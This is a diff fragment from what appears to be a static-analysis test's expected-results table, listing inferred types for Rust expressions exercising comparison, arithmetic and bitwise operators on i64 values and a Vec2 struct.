+| main.rs:1520:22:1520:26 | other | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1520:44:1522:9 | { ... } | | {EXTERNAL LOCATION} | bool | +| main.rs:1521:13:1521:16 | self | | file://:0:0:0:0 | & | +| main.rs:1521:13:1521:16 | self | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1521:13:1521:18 | self.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1521:13:1521:28 | ... > ... | | {EXTERNAL LOCATION} | bool | +| main.rs:1521:13:1521:48 | ... && ... | | {EXTERNAL LOCATION} | bool | +| main.rs:1521:22:1521:26 | other | | file://:0:0:0:0 | & | +| main.rs:1521:22:1521:26 | other | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1521:22:1521:28 | other.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1521:33:1521:36 | self | | file://:0:0:0:0 | & | +| main.rs:1521:33:1521:36 | self | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1521:33:1521:38 | self.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1521:33:1521:48 | ... > ... | | {EXTERNAL LOCATION} | bool | +| main.rs:1521:42:1521:46 | other | | file://:0:0:0:0 | & | +| main.rs:1521:42:1521:46 | other | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1521:42:1521:48 | other.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1524:15:1524:19 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1524:15:1524:19 | SelfParam | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1524:22:1524:26 | other | | file://:0:0:0:0 | & | +| main.rs:1524:22:1524:26 | other | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1524:44:1526:9 | { ... } | | {EXTERNAL LOCATION} | bool | +| main.rs:1525:13:1525:16 | self | | file://:0:0:0:0 | & | +| main.rs:1525:13:1525:16 | self | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1525:13:1525:18 | self.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1525:13:1525:29 | ... >= ... | | {EXTERNAL LOCATION} | bool | +| main.rs:1525:13:1525:50 | ... && ... | | {EXTERNAL LOCATION} | bool | +| main.rs:1525:23:1525:27 | other | | file://:0:0:0:0 | & | +| main.rs:1525:23:1525:27 | other | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1525:23:1525:29 | other.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1525:34:1525:37 | self | | file://:0:0:0:0 | & | +| main.rs:1525:34:1525:37 | self | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1525:34:1525:39 | self.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1525:34:1525:50 | ... >= ... | | {EXTERNAL LOCATION} | bool | +| main.rs:1525:44:1525:48 | other | | file://:0:0:0:0 | & | +| main.rs:1525:44:1525:48 | other | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1525:44:1525:50 | other.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1532:13:1532:18 | i64_eq | | {EXTERNAL LOCATION} | bool | +| main.rs:1532:22:1532:35 | (...) | | {EXTERNAL LOCATION} | bool | +| main.rs:1532:23:1532:26 | 1i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1532:23:1532:34 | ... == ... | | {EXTERNAL LOCATION} | bool | +| main.rs:1532:31:1532:34 | 2i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1533:13:1533:18 | i64_ne | | {EXTERNAL LOCATION} | bool | +| main.rs:1533:22:1533:35 | (...) | | {EXTERNAL LOCATION} | bool | +| main.rs:1533:23:1533:26 | 3i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1533:23:1533:34 | ... != ... | | {EXTERNAL LOCATION} | bool | +| main.rs:1533:31:1533:34 | 4i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1534:13:1534:18 | i64_lt | | {EXTERNAL LOCATION} | bool | +| main.rs:1534:22:1534:34 | (...) | | {EXTERNAL LOCATION} | bool | +| main.rs:1534:23:1534:26 | 5i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1534:23:1534:33 | ... < ... | | {EXTERNAL LOCATION} | bool | +| main.rs:1534:30:1534:33 | 6i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1535:13:1535:18 | i64_le | | {EXTERNAL LOCATION} | bool | +| main.rs:1535:22:1535:35 | (...) | | {EXTERNAL LOCATION} | bool | +| main.rs:1535:23:1535:26 | 7i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1535:23:1535:34 | ... <= ... | | {EXTERNAL LOCATION} | bool | +| main.rs:1535:31:1535:34 | 8i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1536:13:1536:18 | i64_gt | | {EXTERNAL LOCATION} | bool | +| main.rs:1536:22:1536:35 | (...) | | {EXTERNAL LOCATION} | bool | +| main.rs:1536:23:1536:26 | 9i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1536:23:1536:34 | ... > ... | | {EXTERNAL LOCATION} | bool | +| main.rs:1536:30:1536:34 | 10i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1537:13:1537:18 | i64_ge | | {EXTERNAL LOCATION} | bool | +| main.rs:1537:22:1537:37 | (...) | | {EXTERNAL LOCATION} | bool | +| main.rs:1537:23:1537:27 | 11i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1537:23:1537:36 | ... >= ... | | {EXTERNAL LOCATION} | bool | +| main.rs:1537:32:1537:36 | 12i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1540:13:1540:19 | i64_add | | {EXTERNAL LOCATION} | i64 | +| main.rs:1540:23:1540:27 | 13i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1540:23:1540:35 | ... + ... | | {EXTERNAL LOCATION} | i64 | +| main.rs:1540:31:1540:35 | 14i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1541:13:1541:19 | i64_sub | | {EXTERNAL LOCATION} | i64 | +| main.rs:1541:23:1541:27 | 15i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1541:23:1541:35 | ... - ... | | {EXTERNAL LOCATION} | i64 | +| main.rs:1541:31:1541:35 | 16i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1542:13:1542:19 | i64_mul | | {EXTERNAL LOCATION} | i64 | +| main.rs:1542:23:1542:27 | 17i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1542:23:1542:35 | ... * ... | | {EXTERNAL LOCATION} | i64 | +| main.rs:1542:31:1542:35 | 18i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1543:13:1543:19 | i64_div | | {EXTERNAL LOCATION} | i64 | +| main.rs:1543:23:1543:27 | 19i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1543:23:1543:35 | ... / ... | | {EXTERNAL LOCATION} | i64 | +| main.rs:1543:31:1543:35 | 20i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1544:13:1544:19 | i64_rem | | {EXTERNAL LOCATION} | i64 | +| main.rs:1544:23:1544:27 | 21i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1544:23:1544:35 | ... % ... | | {EXTERNAL LOCATION} | i64 | +| main.rs:1544:31:1544:35 | 22i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1547:13:1547:30 | mut i64_add_assign | | {EXTERNAL LOCATION} | i64 | +| main.rs:1547:34:1547:38 | 23i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1548:9:1548:22 | i64_add_assign | | {EXTERNAL LOCATION} | i64 | +| main.rs:1548:9:1548:31 | ... += ... | | file://:0:0:0:0 | () | +| main.rs:1548:27:1548:31 | 24i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1550:13:1550:30 | mut i64_sub_assign | | {EXTERNAL LOCATION} | i64 | +| main.rs:1550:34:1550:38 | 25i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1551:9:1551:22 | i64_sub_assign | | {EXTERNAL LOCATION} | i64 | +| main.rs:1551:9:1551:31 | ... -= ... | | file://:0:0:0:0 | () | +| main.rs:1551:27:1551:31 | 26i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1553:13:1553:30 | mut i64_mul_assign | | {EXTERNAL LOCATION} | i64 | +| main.rs:1553:34:1553:38 | 27i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1554:9:1554:22 | i64_mul_assign | | {EXTERNAL LOCATION} | i64 | +| main.rs:1554:9:1554:31 | ... *= ... | | file://:0:0:0:0 | () | +| main.rs:1554:27:1554:31 | 28i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1556:13:1556:30 | mut i64_div_assign | | {EXTERNAL LOCATION} | i64 | +| main.rs:1556:34:1556:38 | 29i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1557:9:1557:22 | i64_div_assign | | {EXTERNAL LOCATION} | i64 | +| main.rs:1557:9:1557:31 | ... /= ... | | file://:0:0:0:0 | () | +| main.rs:1557:27:1557:31 | 30i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1559:13:1559:30 | mut i64_rem_assign | | {EXTERNAL LOCATION} | i64 | +| main.rs:1559:34:1559:38 | 31i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1560:9:1560:22 | i64_rem_assign | | {EXTERNAL LOCATION} | i64 | +| main.rs:1560:9:1560:31 | ... %= ... | | file://:0:0:0:0 | () | +| main.rs:1560:27:1560:31 | 32i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1563:13:1563:22 | i64_bitand | | {EXTERNAL LOCATION} | i64 | +| main.rs:1563:26:1563:30 | 33i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1563:26:1563:38 | ... & ... | | {EXTERNAL LOCATION} | i64 | +| main.rs:1563:34:1563:38 | 34i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1564:13:1564:21 | i64_bitor | | {EXTERNAL LOCATION} | i64 | +| main.rs:1564:25:1564:29 | 35i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1564:25:1564:37 | ... \| ... | | {EXTERNAL LOCATION} | i64 | +| main.rs:1564:33:1564:37 | 36i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1565:13:1565:22 | i64_bitxor | | {EXTERNAL LOCATION} | i64 | +| main.rs:1565:26:1565:30 | 37i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1565:26:1565:38 | ... ^ ... | | {EXTERNAL LOCATION} | i64 | +| main.rs:1565:34:1565:38 | 38i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1566:13:1566:19 | i64_shl | | {EXTERNAL LOCATION} | i64 | +| main.rs:1566:23:1566:27 | 39i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1566:23:1566:36 | ... << ... | | {EXTERNAL LOCATION} | i64 | +| main.rs:1566:32:1566:36 | 40i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1567:13:1567:19 | i64_shr | | {EXTERNAL LOCATION} | i64 | +| main.rs:1567:23:1567:27 | 41i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1567:23:1567:36 | ... >> ... | | {EXTERNAL LOCATION} | i64 | +| main.rs:1567:32:1567:36 | 42i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1570:13:1570:33 | mut i64_bitand_assign | | {EXTERNAL LOCATION} | i64 | +| main.rs:1570:37:1570:41 | 43i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1571:9:1571:25 | i64_bitand_assign | | {EXTERNAL LOCATION} | i64 | +| main.rs:1571:9:1571:34 | ... &= ... | | file://:0:0:0:0 | () | +| main.rs:1571:30:1571:34 | 44i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1573:13:1573:32 | mut i64_bitor_assign | | {EXTERNAL LOCATION} | i64 | +| main.rs:1573:36:1573:40 | 45i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1574:9:1574:24 | i64_bitor_assign | | {EXTERNAL LOCATION} | i64 | +| main.rs:1574:9:1574:33 | ... \|= ... | | file://:0:0:0:0 | () | +| main.rs:1574:29:1574:33 | 46i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1576:13:1576:33 | mut i64_bitxor_assign | | {EXTERNAL LOCATION} | i64 | +| main.rs:1576:37:1576:41 | 47i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1577:9:1577:25 | i64_bitxor_assign | | {EXTERNAL LOCATION} | i64 | +| main.rs:1577:9:1577:34 | ... ^= ... | | file://:0:0:0:0 | () | +| main.rs:1577:30:1577:34 | 48i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1579:13:1579:30 | mut i64_shl_assign | | {EXTERNAL LOCATION} | i64 | +| main.rs:1579:34:1579:38 | 49i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1580:9:1580:22 | i64_shl_assign | | {EXTERNAL LOCATION} | i64 | +| main.rs:1580:9:1580:32 | ... <<= ... | | file://:0:0:0:0 | () | +| main.rs:1580:28:1580:32 | 50i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1582:13:1582:30 | mut i64_shr_assign | | {EXTERNAL LOCATION} | i64 | +| main.rs:1582:34:1582:38 | 51i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1583:9:1583:22 | i64_shr_assign | | {EXTERNAL LOCATION} | i64 | +| main.rs:1583:9:1583:32 | ... >>= ... | | file://:0:0:0:0 | () | +| main.rs:1583:28:1583:32 | 52i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1585:13:1585:19 | i64_neg | | {EXTERNAL LOCATION} | i64 | +| main.rs:1585:23:1585:28 | - ... | | {EXTERNAL LOCATION} | i64 | +| main.rs:1585:24:1585:28 | 53i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1586:13:1586:19 | i64_not | | {EXTERNAL LOCATION} | i64 | +| main.rs:1586:23:1586:28 | ! ... | | {EXTERNAL LOCATION} | i64 | +| main.rs:1586:24:1586:28 | 54i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1589:13:1589:14 | v1 | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1589:18:1589:36 | Vec2 {...} | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1589:28:1589:28 | 1 | | {EXTERNAL LOCATION} | i32 | +| main.rs:1589:28:1589:28 | 1 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1589:34:1589:34 | 2 | | {EXTERNAL LOCATION} | i32 | +| main.rs:1589:34:1589:34 | 2 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1590:13:1590:14 | v2 | | file://:0:0:0:0 | & | +| main.rs:1590:13:1590:14 | v2 | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1590:13:1590:14 | v2 | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1590:18:1590:36 | Vec2 {...} | | file://:0:0:0:0 | & | +| main.rs:1590:18:1590:36 | Vec2 {...} | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1590:18:1590:36 | Vec2 {...} | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1590:28:1590:28 | 3 | | {EXTERNAL LOCATION} | i32 | +| main.rs:1590:28:1590:28 | 3 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1590:34:1590:34 | 4 | | {EXTERNAL LOCATION} | i32 | +| main.rs:1590:34:1590:34 | 4 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1593:13:1593:19 | vec2_eq | | {EXTERNAL LOCATION} | bool | +| main.rs:1593:23:1593:24 | v1 | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1593:23:1593:30 | ... == ... | | {EXTERNAL LOCATION} | bool | +| main.rs:1593:29:1593:30 | v2 | | file://:0:0:0:0 | & | +| main.rs:1593:29:1593:30 | v2 | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1593:29:1593:30 | v2 | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1594:13:1594:19 | vec2_ne | | {EXTERNAL LOCATION} | bool | +| main.rs:1594:23:1594:24 | v1 | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1594:23:1594:30 | ... != ... | | {EXTERNAL LOCATION} | bool | +| main.rs:1594:29:1594:30 | v2 | | file://:0:0:0:0 | & | +| main.rs:1594:29:1594:30 | v2 | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1594:29:1594:30 | v2 | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1595:13:1595:19 | vec2_lt | | {EXTERNAL LOCATION} | bool | +| main.rs:1595:23:1595:24 | v1 | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1595:23:1595:29 | ... < ... | | {EXTERNAL LOCATION} | bool | +| main.rs:1595:28:1595:29 | v2 | | file://:0:0:0:0 | & | +| main.rs:1595:28:1595:29 | v2 | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1595:28:1595:29 | v2 | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1596:13:1596:19 | vec2_le | | {EXTERNAL LOCATION} | bool | +| main.rs:1596:23:1596:24 | v1 | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1596:23:1596:30 | ... <= ... | | {EXTERNAL LOCATION} | bool | +| main.rs:1596:29:1596:30 | v2 | | file://:0:0:0:0 | & | +| main.rs:1596:29:1596:30 | v2 | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1596:29:1596:30 | v2 | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1597:13:1597:19 | vec2_gt | | {EXTERNAL LOCATION} | bool | +| main.rs:1597:23:1597:24 | v1 | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1597:23:1597:29 | ... > ... | | {EXTERNAL LOCATION} | bool | +| main.rs:1597:28:1597:29 | v2 | | file://:0:0:0:0 | & | +| main.rs:1597:28:1597:29 | v2 | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1597:28:1597:29 | v2 | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1598:13:1598:19 | vec2_ge | | {EXTERNAL LOCATION} | bool | +| main.rs:1598:23:1598:24 | v1 | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1598:23:1598:30 | ... >= ... | | {EXTERNAL LOCATION} | bool | +| main.rs:1598:29:1598:30 | v2 | | file://:0:0:0:0 | & | +| main.rs:1598:29:1598:30 | v2 | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1598:29:1598:30 | v2 | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1601:13:1601:20 | vec2_add | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1601:24:1601:25 | v1 | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1601:24:1601:30 | ... + ... | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1601:29:1601:30 | v2 | | file://:0:0:0:0 | & | +| main.rs:1601:29:1601:30 | v2 | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1601:29:1601:30 | v2 | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1602:13:1602:20 | vec2_sub | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1602:24:1602:25 | v1 | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1602:24:1602:30 | ... - ... | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1602:29:1602:30 | v2 | | file://:0:0:0:0 | & | +| main.rs:1602:29:1602:30 | v2 | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1602:29:1602:30 | v2 | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1603:13:1603:20 | vec2_mul | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1603:24:1603:25 | v1 | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1603:24:1603:30 | ... * ... | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1603:29:1603:30 | v2 | | file://:0:0:0:0 | & | +| main.rs:1603:29:1603:30 | v2 | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1603:29:1603:30 | v2 | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1604:13:1604:20 | vec2_div | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1604:24:1604:25 | v1 | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1604:24:1604:30 | ... / ... | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1604:29:1604:30 | v2 | | file://:0:0:0:0 | & | +| main.rs:1604:29:1604:30 | v2 | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1604:29:1604:30 | v2 | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1605:13:1605:20 | vec2_rem | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1605:24:1605:25 | v1 | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1605:24:1605:30 | ... % ... | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1605:29:1605:30 | v2 | | file://:0:0:0:0 | & | +| main.rs:1605:29:1605:30 | v2 | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1605:29:1605:30 | v2 | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1608:13:1608:31 | mut vec2_add_assign | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1608:35:1608:36 | v1 | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1609:9:1609:23 | vec2_add_assign | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1609:9:1609:29 | ... += ... | | file://:0:0:0:0 | () | +| main.rs:1609:28:1609:29 | v2 | | file://:0:0:0:0 | & | +| main.rs:1609:28:1609:29 | v2 | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1609:28:1609:29 | v2 | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1611:13:1611:31 | mut vec2_sub_assign | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1611:35:1611:36 | v1 | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1612:9:1612:23 | vec2_sub_assign | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1612:9:1612:29 | ... -= ... | | file://:0:0:0:0 | () | +| main.rs:1612:28:1612:29 | v2 | | file://:0:0:0:0 | & | +| main.rs:1612:28:1612:29 | v2 | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1612:28:1612:29 | v2 | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1614:13:1614:31 | mut vec2_mul_assign | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1614:35:1614:36 | v1 | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1615:9:1615:23 | vec2_mul_assign | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1615:9:1615:29 | ... *= ... | | file://:0:0:0:0 | () | +| main.rs:1615:28:1615:29 | v2 | | file://:0:0:0:0 | & | +| main.rs:1615:28:1615:29 | v2 | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1615:28:1615:29 | v2 | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1617:13:1617:31 | mut vec2_div_assign | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1617:35:1617:36 | v1 | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1618:9:1618:23 | vec2_div_assign | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1618:9:1618:29 | ... /= ... | | file://:0:0:0:0 | () | +| main.rs:1618:28:1618:29 | v2 | | file://:0:0:0:0 | & | +| main.rs:1618:28:1618:29 | v2 | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1618:28:1618:29 | v2 | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1620:13:1620:31 | mut vec2_rem_assign | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1620:35:1620:36 | v1 | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1621:9:1621:23 | vec2_rem_assign | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1621:9:1621:29 | ... %= ... | | file://:0:0:0:0 | () | +| main.rs:1621:28:1621:29 | v2 | | file://:0:0:0:0 | & | +| main.rs:1621:28:1621:29 | v2 | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1621:28:1621:29 | v2 | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1624:13:1624:23 | vec2_bitand | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1624:27:1624:28 | v1 | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1624:27:1624:33 | ... & ... | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1624:32:1624:33 | v2 | | file://:0:0:0:0 | & | +| main.rs:1624:32:1624:33 | v2 | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1624:32:1624:33 | v2 | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1625:13:1625:22 | vec2_bitor | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1625:26:1625:27 | v1 | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1625:26:1625:32 | ... \| ... | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1625:31:1625:32 | v2 | | file://:0:0:0:0 | & | +| main.rs:1625:31:1625:32 | v2 | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1625:31:1625:32 | v2 | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1626:13:1626:23 | vec2_bitxor | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1626:27:1626:28 | v1 | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1626:27:1626:33 | ... ^ ... | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1626:32:1626:33 | v2 | | file://:0:0:0:0 | & | +| main.rs:1626:32:1626:33 | v2 | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1626:32:1626:33 | v2 | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1627:13:1627:20 | vec2_shl | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1627:24:1627:25 | v1 | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1627:24:1627:33 | ... << ... | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1627:30:1627:33 | 1u32 | | {EXTERNAL LOCATION} | u32 | +| main.rs:1628:13:1628:20 | vec2_shr | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1628:24:1628:25 | v1 | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1628:24:1628:33 | ... >> ... | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1628:30:1628:33 | 1u32 | | {EXTERNAL LOCATION} | u32 | +| main.rs:1631:13:1631:34 | mut vec2_bitand_assign | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1631:38:1631:39 | v1 | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1632:9:1632:26 | vec2_bitand_assign | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1632:9:1632:32 | ... &= ... | | file://:0:0:0:0 | () | +| main.rs:1632:31:1632:32 | v2 | | file://:0:0:0:0 | & | +| main.rs:1632:31:1632:32 | v2 | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1632:31:1632:32 | v2 | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1634:13:1634:33 | mut vec2_bitor_assign | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1634:37:1634:38 | v1 | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1635:9:1635:25 | vec2_bitor_assign | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1635:9:1635:31 | ... \|= ... | | file://:0:0:0:0 | () | +| main.rs:1635:30:1635:31 | v2 | | file://:0:0:0:0 | & | +| main.rs:1635:30:1635:31 | v2 | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1635:30:1635:31 | v2 | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1637:13:1637:34 | mut vec2_bitxor_assign | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1637:38:1637:39 | v1 | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1638:9:1638:26 | vec2_bitxor_assign | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1638:9:1638:32 | ... ^= ... | | file://:0:0:0:0 | () | +| main.rs:1638:31:1638:32 | v2 | | file://:0:0:0:0 | & | +| main.rs:1638:31:1638:32 | v2 | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1638:31:1638:32 | v2 | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1640:13:1640:31 | mut vec2_shl_assign | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1640:35:1640:36 | v1 | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1641:9:1641:23 | vec2_shl_assign | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1641:9:1641:32 | ... <<= ... | | file://:0:0:0:0 | () | +| main.rs:1641:29:1641:32 | 1u32 | | {EXTERNAL LOCATION} | u32 | +| main.rs:1643:13:1643:31 | mut vec2_shr_assign | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1643:35:1643:36 | v1 | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1644:9:1644:23 | vec2_shr_assign | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1644:9:1644:32 | ... >>= ... | | file://:0:0:0:0 | () | +| main.rs:1644:29:1644:32 | 1u32 | | {EXTERNAL LOCATION} | u32 | +| main.rs:1647:13:1647:20 | vec2_neg | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1647:24:1647:26 | - ... | | main.rs:1297:5:1302:5 | 